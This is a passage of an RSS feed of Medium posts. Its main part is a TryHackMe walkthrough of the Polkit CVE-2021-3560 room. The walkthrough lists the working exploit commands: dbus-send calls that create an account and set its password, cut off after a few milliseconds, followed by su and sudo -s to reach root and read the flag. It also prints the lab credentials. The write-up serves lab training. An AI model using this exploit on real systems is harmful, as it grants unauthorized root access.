room.</em></strong></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=434908b96ca4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Polkit: CVE-2021–3560 Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-polkit-cve-2021-3560-walkthrough-3ed871bdc2ca?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ed871bdc2ca</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Sat, 03 Jul 2021 13:53:40 GMT</pubDate>
            <atom:updated>2021-07-03T13:53:40.198Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-Jd15XZNheA57Y79qog6A.png" /><figcaption>Polkit: CVE-2021–3560 Walkthrough.</figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/polkit">https://tryhackme.com/room/polkit</a></p><p><strong>Task 1 :- Info Deploy</strong></p><p><em>Click the green “Start Machine” button to deploy the machine! → No answer needed.</em></p><p><strong>Task 2 :- Info Important! About Dynamic Flags</strong></p><p><em>What is the URL of the website you should submit dynamic flags to? → </em><a href="https://flag.muir.land/"><em>https://flag.muir.land/</em></a></p><p><strong>Task 3 :- Tutorial Background</strong></p><p>Please read the background for more and good knowledge.</p><p><em>In what version of Ubuntu’s policykit-1 is CVE-2021–3560 patched? → 0.105–26ubuntu1.1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*ldvhQGJMOc4pJ4bf0HAj_w.png" /><figcaption><em>0.105–26ubuntu1.1</em></figcaption></figure><p><em>What program can we use to run commands as other users via polkit? → pkexec</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*ucotA41dA2vaUceLz0Eswg.png" /><figcaption><em>pkexec</em></figcaption></figure><p><strong>Task 4 :- Tutorial Exploitation Process</strong></p><p><em>You must read the information of this task. → No answer needed</em></p><p><strong>Task 5 :- Practical Do it for yourself!</strong></p><p>if you would like to SSH into the target machine, the credentials are:<br> • Username: tryhackme<br> • Password: TryHackMe123!</p><p><strong>First, let’s look at the dbus messages we’ll need to send:</strong><br><strong>tryhackme@polkit:~$</strong> <em>dbus-send — system — dest=org.freedesktop.Accounts — type=method_call — print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:yoyohoney string:”Honey Singh” int32:1</em></p><p><strong>We need a password hash here, so let’s generate a Sha512Crypt hash for our chosen password (</strong><strong>Expl01ted):</strong><br><strong>tryhackme@polkit:~$</strong> <em>openssl passwd -6 Expl01ted<br>$6$gtjmG63Uxa5SIVIA$RXtnqUAbCWLjjLgPAW0hrJ8J4DN1OAUcr5dwB7ABI3CvKpibN.pN.x1JZG1LIhKWQXaaVonnyDHVM7bjcx/0f.</em></p><p><strong>Our second dbus message will set a password for the new account:</strong><br><strong>tryhackme@polkit:~$ </strong><em>dbus-send — system — dest=org.freedesktop.Accounts — type=method_call — print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:’$6$gtjmG63Uxa5SIVIA$RXtnqUAbCWLjjLgPAW0hrJ8J4DN1OAUcr5dwB7ABI3CvKpibN.pN.x1JZG1LIhKWQXaaVonnyDHVM7bjcx/0f.’ string:’Ask the pentester’</em></p><p><strong>We need to send the dbus message, then kill it about halfway through:</strong><br><strong>tryhackme@polkit:~$</strong><em> dbus-send — system — dest=org.freedesktop.Accounts — type=method_call — print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:”Pentester Account” int32:1 &amp; sleep 0.005s; kill $!</em></p><p><strong>Now let’s finish this! 5 milliseconds worked last time, so it should work here too:</strong><br><strong>tryhackme@polkit:~$</strong><em> dbus-send — system — dest=org.freedesktop.Accounts — type=method_call — print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:’$6$gtjmG63Uxa5SIVIA$RXtnqUAbCWLjjLgPAW0hrJ8J4DN1OAUcr5dwB7ABI3CvKpibN.pN.x1JZG1LIhKWQXaaVonnyDHVM7bjcx/0f.’ string:’Ask the pentester’ &amp; sleep 0.005s; kill $!</em></p><p><em>tryhackme@polkit:~$ su attacker<br>Password:Expl01ted</em></p><p><em>attacker@polkit:/home/tryhackme$ sudo -l<br>[sudo] password for attacker:Expl01ted</em></p><p><strong>-S, — stdin read password from standard input</strong><br><em>attacker@polkit:/home/tryhackme$ sudo -s</em></p><p><em>root@polkit:/home/tryhackme# whoami<br>root<br>root@polkit:/home/tryhackme# cat /root/root.txt <br></em><strong><em>Bijaa2pyBVg=-4w64kzT+bxfUR+c9-</em>s7RE1MbSF8bh4QMI/PFNvB7P00ADqjGV88dskBFvRN/pDzE6rDDlvg==</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bo1tuhgQydPdwB0WjiLVDw.png" /></figure><p>Yeah, we got the flag wait what but its t00 long. Now we have to submit this flag to <a href="https://flag.muir.land/">here</a> .</p><p>You will be asked to submit three pieces of information:</p><ul><li>Your username. It is <em>very</em> important that this is identical to your TryHackMe username!</li><li>The box code. In most instances this will be the same as the room code. For this room the code will be: <strong><em>polkit</em></strong></li><li>The flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*gZJuWAtixvtzaF1d8G0quA.png" /><figcaption><a href="https://flag.muir.land/">https://flag.muir.land/</a></figcaption></figure><p>And you get the real flag to submit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*Djr1JjLzHStOpysbDwHpOA.png" /></figure><p><strong><em>Note :- Always terminate the machine you deployed in this room.</em></strong></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ed871bdc2ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>